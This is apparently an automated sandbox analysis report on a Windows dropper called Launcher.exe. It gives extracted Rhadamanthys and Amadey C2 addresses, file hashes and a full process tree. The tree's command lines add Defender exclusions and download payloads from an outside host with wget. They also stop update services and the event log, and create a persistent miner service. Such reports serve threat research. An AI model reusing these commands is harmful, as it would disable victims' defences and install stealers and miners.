Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    02/09/2024, 15:26

General

  • Target

    Launcher.exe

  • Size

    364KB

  • MD5

    93fde4e38a84c83af842f73b176ab8dc

  • SHA1

    e8c55cc160a0a94e404f544b22e38511b9d71da8

  • SHA256

    fb07af2aead3bdf360f555fc872191e43c2f0acbfc9258435f9a30afe272ba03

  • SHA512

    48720aebe2158b8a58fc3431c2e6f68271fbade51303ad9cb5b0493efaec6053ff0c19a898841ef7c57a3c4d042ac8e7157fb3dc79593c1dfcdcf88e1469fdec

  • SSDEEP

    6144:MpS9kEFKbITUvR8cy8dzQ7Lcf3Si96sfO+2RZrTql9unNrkYqliwrqH1JWP6f:Mp8KLBzQ7Lcf3SiQs2FTTql9unNrkvT2

Malware Config

Extracted

Family

rhadamanthys

C2

https://45.159.188.37:443/44194499adc4d2b753ee/gcj8ajmp.qnu3f

Extracted

Family

amadey

Version

4.41

Botnet

3dae01

C2

http://185.208.158.116

http://185.209.162.226

http://89.23.103.42

Attributes
  • install_dir

    239f17af5a

  • install_file

    Hkbsse.exe

  • strings_key

    91a6d9abcd7a774809c7ff7ced665178

  • url_paths

    /hb9IvshS01/index.php

    /hb9IvshS02/index.php

    /hb9IvshS03/index.php

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • UPX packed file 17 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Executes dropped EXE 15 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 25 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies data under HKEY_USERS 50 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of FindShellTrayWindow 10 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2580
      • C:\Windows\SysWOW64\openwith.exe
        "C:\Windows\system32\openwith.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:2008
    • C:\Users\Admin\AppData\Local\Temp\Launcher.exe
      "C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
      1⤵
      • System Location Discovery: System Language Discovery
      • Modifies system certificate store
      • Suspicious use of WriteProcessMemory
      PID:1200
      • C:\Users\Admin\AppData\Roaming\services\Launhcer.exe
        "C:\Users\Admin\AppData\Roaming\services\Launhcer.exe"
        2⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1048
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "$AdminRightsRequired = $true function Get-Win { while ($true) { # if ($AdminRightsRequired) { # try { Start-Process -FilePath '.\data\Launcher.exe' -Verb RunAs -Wait # break } catch { Write-Host 'Error 0xc0000906' } } else { # break } } } Get-Win"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2496
          • C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe
            "C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4572
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath $env:ProgramData, $env:AppData, $env:SystemDrive\ "
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:876
            • C:\Users\Admin\AppData\Roaming\services\wget.exe
              "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition https://buscocurro.com/1/1 -P C:\Users\Admin\AppData\Roaming\services
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of FindShellTrayWindow
              PID:568
            • C:\Users\Admin\AppData\Roaming\services\winrar.exe
              "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\01*.* "1\*" C:\Users\Admin\AppData\Roaming\services
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of FindShellTrayWindow
              PID:3020
            • C:\Users\Admin\AppData\Roaming\services\1\rhjryjyj.exe
              "C:\Users\Admin\AppData\Roaming\services\1\rhjryjyj.exe"
              5⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:2304
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2304 -s 536
                6⤵
                • Program crash
                PID:908
            • C:\Users\Admin\AppData\Roaming\services\wget.exe
              "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition https://buscocurro.com/2/1 -P C:\Users\Admin\AppData\Roaming\services
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Internet Connection Discovery
              • Suspicious use of FindShellTrayWindow
              PID:1460
            • C:\Users\Admin\AppData\Roaming\services\winrar.exe
              "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\02plugins*.* "2plugin*" C:\Users\Admin\AppData\Roaming\services
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of FindShellTrayWindow
              PID:1820
            • C:\Users\Admin\AppData\Roaming\services\2plugin27724
              C:\Users\Admin\AppData\Roaming\services\2plugin27724
              5⤵
              • Drops file in System32 directory
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              PID:1984
              • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4732
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:2872
                • C:\Windows\system32\wusa.exe
                  wusa /uninstall /kb:890830 /quiet /norestart
                  7⤵
                    PID:4452
                • C:\Windows\system32\sc.exe
                  C:\Windows\system32\sc.exe stop UsoSvc
                  6⤵
                  • Launches sc.exe
                  PID:1748
                • C:\Windows\system32\sc.exe
                  C:\Windows\system32\sc.exe stop WaaSMedicSvc
                  6⤵
                  • Launches sc.exe
                  PID:4184
                • C:\Windows\system32\sc.exe
                  C:\Windows\system32\sc.exe stop wuauserv
                  6⤵
                  • Launches sc.exe
                  PID:2560
                • C:\Windows\system32\sc.exe
                  C:\Windows\system32\sc.exe stop bits
                  6⤵
                  • Launches sc.exe
                  PID:4592
                • C:\Windows\system32\sc.exe
                  C:\Windows\system32\sc.exe stop dosvc
                  6⤵
                  • Launches sc.exe
                  PID:1696
                • C:\Windows\system32\powercfg.exe
                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                  6⤵
                  • Power Settings
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1472
                • C:\Windows\system32\powercfg.exe
                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                  6⤵
                  • Power Settings
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2304
                • C:\Windows\system32\powercfg.exe
                  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                  6⤵
                  • Power Settings
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1240
                • C:\Windows\system32\powercfg.exe
                  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                  6⤵
                  • Power Settings
                  PID:4768
                • C:\Windows\system32\sc.exe
                  C:\Windows\system32\sc.exe delete "OZLCSUZD"
                  6⤵
                  • Launches sc.exe
                  PID:3792
                • C:\Windows\system32\sc.exe
                  C:\Windows\system32\sc.exe create "OZLCSUZD" binpath= "C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe" start= "auto"
                  6⤵
                  • Launches sc.exe
                  PID:1372
                • C:\Windows\system32\sc.exe
                  C:\Windows\system32\sc.exe stop eventlog
                  6⤵
                  • Launches sc.exe
                  PID:4900
                • C:\Windows\system32\sc.exe
                  C:\Windows\system32\sc.exe start "OZLCSUZD"
                  6⤵
                  • Launches sc.exe
                  PID:4424
              • C:\Users\Admin\AppData\Roaming\services\wget.exe
                "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition https://buscocurro.com/3/1 -P C:\Users\Admin\AppData\Roaming\services
                5⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • System Network Configuration Discovery: Internet Connection Discovery
                • Suspicious use of FindShellTrayWindow
                PID:5004
              • C:\Users\Admin\AppData\Roaming\services\winrar.exe
                "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\03plugins*.* "3plugin*" C:\Users\Admin\AppData\Roaming\services
                5⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of FindShellTrayWindow
                PID:4032
              • C:\Users\Admin\AppData\Roaming\services\3plugin29563
                C:\Users\Admin\AppData\Roaming\services\3plugin29563
                5⤵
                • Drops file in Windows directory
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of WriteProcessMemory
                PID:3124
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3124 -s 768
                  6⤵
                  • Program crash
                  PID:5084
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3124 -s 816
                  6⤵
                  • Program crash
                  PID:2768
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3124 -s 892
                  6⤵
                  • Program crash
                  PID:4524
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3124 -s 944
                  6⤵
                  • Program crash
                  PID:2016
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3124 -s 952
                  6⤵
                  • Program crash
                  PID:3572
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3124 -s 948
                  6⤵
                  • Program crash
                  PID:2140
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3124 -s 1032
                  6⤵
                  • Program crash
                  PID:3200
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3124 -s 1032
                  6⤵
                  • Program crash
                  PID:5056
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3124 -s 1148
                  6⤵
                  • Program crash
                  PID:1464
                • C:\Users\Admin\AppData\Local\Temp\239f17af5a\Hkbsse.exe
                  "C:\Users\Admin\AppData\Local\Temp\239f17af5a\Hkbsse.exe"
                  6⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:720
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 720 -s 608
                    7⤵
                    • Program crash
                    PID:3476
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 720 -s 628
                    7⤵
                    • Program crash
                    PID:3524
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 720 -s 656
                    7⤵
                    • Program crash
                    PID:3328
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 720 -s 836
                    7⤵
                    • Program crash
                    PID:4528
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 720 -s 868
                    7⤵
                    • Program crash
                    PID:1848
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 720 -s 908
                    7⤵
                    • Program crash
                    PID:228
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 720 -s 924
                    7⤵
                    • Program crash
                    PID:4544
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 720 -s 908
                    7⤵
                    • Program crash
                    PID:2400
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 720 -s 1172
                    7⤵
                    • Program crash
                    PID:3776
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 720 -s 1348
                    7⤵
                    • Program crash
                    PID:2936
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 720 -s 1424
                    7⤵
                    • Program crash
                    PID:4980
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 720 -s 1440
                    7⤵
                    • Program crash
                    PID:4848
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3124 -s 1172
                  6⤵
                  • Program crash
                  PID:2284
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /K rd /s /q "C:\Users\Admin\AppData\Roaming\services" & EXIT
                5⤵
                • System Location Discovery: System Language Discovery
                PID:3728
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2304 -ip 2304
        1⤵
          PID:2272
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3124 -ip 3124
          1⤵
            PID:3828
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 3124 -ip 3124
            1⤵
              PID:5024
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3124 -ip 3124
              1⤵
                PID:4744
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 3124 -ip 3124
                1⤵
                  PID:3904
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3124 -ip 3124
                  1⤵
                    PID:4916
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3124 -ip 3124
                    1⤵
                      PID:4564
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3124 -ip 3124
                      1⤵
                        PID:2608
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 3124 -ip 3124
                        1⤵
                          PID:2432
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 3124 -ip 3124
                          1⤵
                            PID:1748
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3124 -ip 3124
                            1⤵
                              PID:4624
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 720 -ip 720
                              1⤵
                                PID:3392
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 720 -ip 720
                                1⤵
                                  PID:2220
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 720 -ip 720
                                  1⤵
                                    PID:4216
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 720 -ip 720
                                    1⤵
                                      PID:2372
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 720 -ip 720
                                      1⤵
                                        PID:2288
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 720 -ip 720
                                        1⤵
                                          PID:4804
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 720 -ip 720
                                          1⤵
                                            PID:4412
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 720 -ip 720
                                            1⤵
                                              PID:2892
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 720 -ip 720
                                              1⤵
                                                PID:3972
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 720 -ip 720
                                                1⤵
                                                  PID:1704
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 720 -ip 720
                                                  1⤵
                                                    PID:664
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 720 -ip 720
                                                    1⤵
                                                      PID:4720
                                                    • C:\Users\Admin\AppData\Local\Temp\239f17af5a\Hkbsse.exe
                                                      C:\Users\Admin\AppData\Local\Temp\239f17af5a\Hkbsse.exe
                                                      1⤵
                                                      • Executes dropped EXE
                                                      PID:1052
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1052 -s 472
                                                        2⤵
                                                        • Program crash
                                                        PID:4120
                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 1052 -ip 1052
                                                      1⤵
                                                        PID:1316
                                                      • C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe
                                                        C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe
                                                        1⤵
                                                        • Drops file in System32 directory
                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                        • Suspicious use of SetThreadContext
                                                        • Executes dropped EXE
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of WriteProcessMemory
                                                        PID:2488
                                                        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                          2⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          • Drops file in System32 directory
                                                          • Modifies data under HKEY_USERS
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:572
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                          2⤵
                                                          • Suspicious use of WriteProcessMemory
                                                          PID:2920
                                                          • C:\Windows\system32\wusa.exe
                                                            wusa /uninstall /kb:890830 /quiet /norestart
                                                            3⤵
                                                              PID:3684
                                                          • C:\Windows\system32\sc.exe
                                                            C:\Windows\system32\sc.exe stop UsoSvc
                                                            2⤵
                                                            • Launches sc.exe
                                                            PID:4848
                                                          • C:\Windows\system32\sc.exe
                                                            C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                            2⤵
                                                            • Launches sc.exe
                                                            PID:564
                                                          • C:\Windows\system32\sc.exe
                                                            C:\Windows\system32\sc.exe stop wuauserv
                                                            2⤵
                                                            • Launches sc.exe
                                                            PID:5084
                                                          • C:\Windows\system32\sc.exe
                                                            C:\Windows\system32\sc.exe stop bits
                                                            2⤵
                                                            • Launches sc.exe
                                                            PID:3160
                                                          • C:\Windows\system32\sc.exe
                                                            C:\Windows\system32\sc.exe stop dosvc
                                                            2⤵
                                                            • Launches sc.exe
                                                            PID:852
                                                          • C:\Windows\system32\powercfg.exe
                                                            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                            2⤵
                                                            • Power Settings
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:3756
                                                          • C:\Windows\system32\powercfg.exe
                                                            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                            2⤵
                                                            • Power Settings
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:3520
                                                          • C:\Windows\system32\powercfg.exe
                                                            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                            2⤵
                                                            • Power Settings
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:2860
                                                          • C:\Windows\system32\powercfg.exe
                                                            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                            2⤵
                                                            • Power Settings
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:244
                                                          • C:\Windows\system32\conhost.exe
                                                            C:\Windows\system32\conhost.exe
                                                            2⤵
                                                              PID:4164
                                                            • C:\Windows\system32\dwm.exe
                                                              dwm.exe
                                                              2⤵
                                                              • Modifies data under HKEY_USERS
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:3728
                                                          • C:\Users\Admin\AppData\Local\Temp\239f17af5a\Hkbsse.exe
                                                            C:\Users\Admin\AppData\Local\Temp\239f17af5a\Hkbsse.exe
                                                            1⤵
                                                            • Executes dropped EXE
                                                            PID:4528
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 4528 -s 464
                                                              2⤵
                                                              • Program crash
                                                              PID:2916
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4528 -ip 4528
                                                            1⤵
                                                              PID:2392

                                                            Network

                                                            MITRE ATT&CK Enterprise v15

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                              Filesize

                                                              60KB

                                                              MD5

                                                              76b52ccdb5682f80e9830a765e4f9604

                                                              SHA1

                                                              e0f063114a8463b5a6f44858738a7ffdc2fe9061

                                                              SHA256

                                                              2428d24df851b6e7b5cfa7a1d76e19e0f853ae0f63d95675d1e6d2f73685ee7e

                                                              SHA512

                                                              af544fcaf4702a619aeaa1534069fcfd82afd74402d6a58318ebd949ee47d55fc0043aa87a499864174e5cda1b47bd0ba0f90d441f974de1c50840b21a8fefad

                                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                              Filesize

                                                              18KB

                                                              MD5

                                                              92f54e3f881f7c9b6e9e05934bbba712

                                                              SHA1

                                                              f4ff52fcf4b61cef397934cd8e3febeac5ce9892

                                                              SHA256

                                                              1530448e037b9531917b53eab5fc073dc977e2361b40984d7f968355dee4ef8d

                                                              SHA512

                                                              6af2cda7455262a642d9eb47b761768a2adc5debcfe0b80a5fcbae127960637dcc40b4a70fa62146ed2ef1b06fc3c141aa5d343b12b6857ef8ebd69b93609b0d

                                                            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_migg5tlg.eow.ps1

                                                              Filesize

                                                              60B

                                                              MD5

                                                              d17fe0a3f47be24a6453e9ef58c94641

                                                              SHA1

                                                              6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                              SHA256

                                                              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                              SHA512

                                                              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                            • C:\Users\Admin\AppData\Roaming\WinRAR\version.dat

                                                              Filesize

                                                              12B

                                                              MD5

                                                              355cfec108e98367ed686d96f0ef2c80

                                                              SHA1

                                                              6fc6b164f8836ecb1e43f9c3d7198204073cf748

                                                              SHA256

                                                              dba1c0b22bb05bbf709485aefe9e813877982eaf51ac8007c2e46b7b5dda0a0c

                                                              SHA512

                                                              d48ad385675c90a743e30473785233cde497461f54dc76eb37c014969c06728ce974de9c17e46f486b32294da1089645d062adbe333384c1a45271362bf8cbf8

                                                            • C:\Users\Admin\AppData\Roaming\services\0127871.rar

                                                              Filesize

                                                              2.9MB

                                                              MD5

                                                              3ba7655d55f35256e14307d9ab7f560c

                                                              SHA1

                                                              b5d14e76f894b643860e69f5a2d9308d4b0c1fcb

                                                              SHA256

                                                              262bc2b98e4579e3c97376b9f8b7c12f56b0cc75519914057a44b8fc580ded6c

                                                              SHA512

                                                              a73cda3b1d2cbb1cd7f320ee8b31659d2890a958392ef2ce83eacd320357d095680e160bc25efecd82726d541ce38bdc623a4ee75301fbe76e58b96aaab8dc2b

                                                            • C:\Users\Admin\AppData\Roaming\services\02plugins23208.rar

                                                              Filesize

                                                              9.6MB

                                                              MD5

                                                              557b45a8dfe391ada925b428815343a7

                                                              SHA1

                                                              4cee18d01e3a1e3dfbce90a38b9f2687bdb73e90

                                                              SHA256

                                                              da6879957bd50c9fb45a0bed227f521f2398f65dc1a31904a494ec764d3759d3

                                                              SHA512

                                                              42efc37605923263fa5a215c645e56fcc998c4ee5a24e3086911e23ba55f90162ec3be5f908e0ac065c697bd5d3dc4aceb460fa4aa19cea9999db2708ba75bbd

                                                            • C:\Users\Admin\AppData\Roaming\services\03plugins10863.rar

                                                              Filesize

                                                              2.9MB

                                                              MD5

                                                              e8891a8b9d48c36ace38613a3ee58e65

                                                              SHA1

                                                              45b5010846dc9386c57f6a0f3715af951683b0be

                                                              SHA256

                                                              64cb56c7af6ec8628a343e0e1d47e52f9353aae5835f243d177577d7a3ccd05c

                                                              SHA512

                                                              9ec8424ba8d8773d581dd95dc4f70ad9ed529e4640f6061ad8a668966124ee39d734466bf14210d71afdd773c98302e490a47ac89dde1fa6ad1981baf00aa0a4

                                                            • C:\Users\Admin\AppData\Roaming\services\1\rhjryjyj.exe

                                                              Filesize

                                                              467KB

                                                              MD5

                                                              ab2d2914e268ac8754e408bdd6c109cd

                                                              SHA1

                                                              936a1529158b699ebfaf97e937f17936d321920c

                                                              SHA256

                                                              0f5978c1e5026feea6e28485ceb99b48105d73a77517faf40c1e57d638a5cdd4

                                                              SHA512

                                                              c421cb6c41640e1866b891c941151903ad51e04a437b6d90faa6c732f2e98ef4172631453f9a60dcd8c0e4ffd39ec8c13277961c06a4119b10aff91037318fcf

                                                            • C:\Users\Admin\AppData\Roaming\services\2plugin27724

                                                              Filesize

                                                              7.2MB

                                                              MD5

                                                              59dd26d0a0781afb903b222a340a135a

                                                              SHA1

                                                              dc7eb315e84f9e828376d5421108685d997099aa

                                                              SHA256

                                                              d782048432be8fe4ce0fbcaaf54724202ac39a293c2a6ae5cda2c7f04aa2c967

                                                              SHA512

                                                              e4baf948f1023fc04aa9344ed0bde468566a429c4807f584204a6de95113de78dd2faaedad56e064f3023510fe774386a844becd0f9453d53884e31d4b345ed1

                                                            • C:\Users\Admin\AppData\Roaming\services\3plugin29563

                                                              Filesize

                                                              399KB

                                                              MD5

                                                              5886235e78709ba971a3b4cdfdc336ee

                                                              SHA1

                                                              856e9688e3e087489d6d4ef02b7317d3cbc1fff7

                                                              SHA256

                                                              059701aa60117a1adc3c7fbaed00f05e72c97b28bcbd2456805dd6531654d970

                                                              SHA512

